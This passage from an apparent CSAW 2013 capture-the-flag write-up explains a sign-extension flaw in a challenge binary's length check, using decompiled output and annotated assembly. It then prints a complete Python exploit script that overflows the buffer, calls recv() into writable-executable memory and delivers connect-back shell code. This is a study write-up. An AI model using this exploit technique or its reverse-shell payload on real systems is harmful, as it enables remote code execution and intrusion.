n = buffLength; if ( (unsigned int)(buffLength + 1) <= 0x400 )Hex-Rays did not show that in the assembly, it makes a movesx, which is a move sign extend. So, if the the byte number we sent had a leading bit of 1, that would be extended when it was copied over to the register. The negative number copied over would always be less than the 400h limit of our input size. The related assembly is:
.text:08048F09 mov eax, [ebp+buffLength] //Our input for the length of the entry .text:08048F0C mov [ebp+var_4AC], ax //Only copy the lower half of EAX .text:08048F13 mov [ebp+var_C], 0 .text:08048F1A mov [ebp+stream], 0 .text:08048F21 movsx eax, [ebp+var_4AC] //Move the lower half back into EAX, but extend the sign ** Vulnerable .text:08048F28 mov [ebp+n], eax .text:08048F2B mov eax, [ebp+n] .text:08048F2E add eax, 1 .text:08048F31 cmp eax, 400h // Negative number is always less than 400h .text:08048F36 jbe short loc_8048F5BNow that we know we can overflow it when our number is greater than 32768 and less than 65535, we can execute a recv() into the rwx memory found at:
0804b000-0804c000 rwxp 00002000 08:01 409039 /root/Desktop/fil_chalThe winning script, excuse the poor variable names, is:
import socket, binascii, struct, time, string, sys baseAddress = 0x804b020 for tme in xrange(1,2): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s.connect(("127.0.0.1", 34266)) s.connect(("128.238.66.217",34266)) f = open("connectback_shell", "r") shellcode = f.read(94) f.close s.sendall("csaw2013"+'\n') s.sendall("S1mplePWD"+'\n') s.sendall("65535"+'\n') print "Trying :" + str(tme) s.sendall(shellcode+'\x90'*(1010-2*len(shellcode))+shellcode+'\x90'*50+struct.pack("<I", 0x8048890 )+ struct.pack("<I",baseAddress) + struct.pack("<I",4)+struct.pack("<I",baseAddress)+struct.pack("<I",100)+"\x00\x00\x00\x00") time.sleep(1) s.sendall(shellcode) stuff = s.recv(2014) s.close()Any questions or suggestions, feel free to comment!
--Imp3rial
No comments:
Post a Comment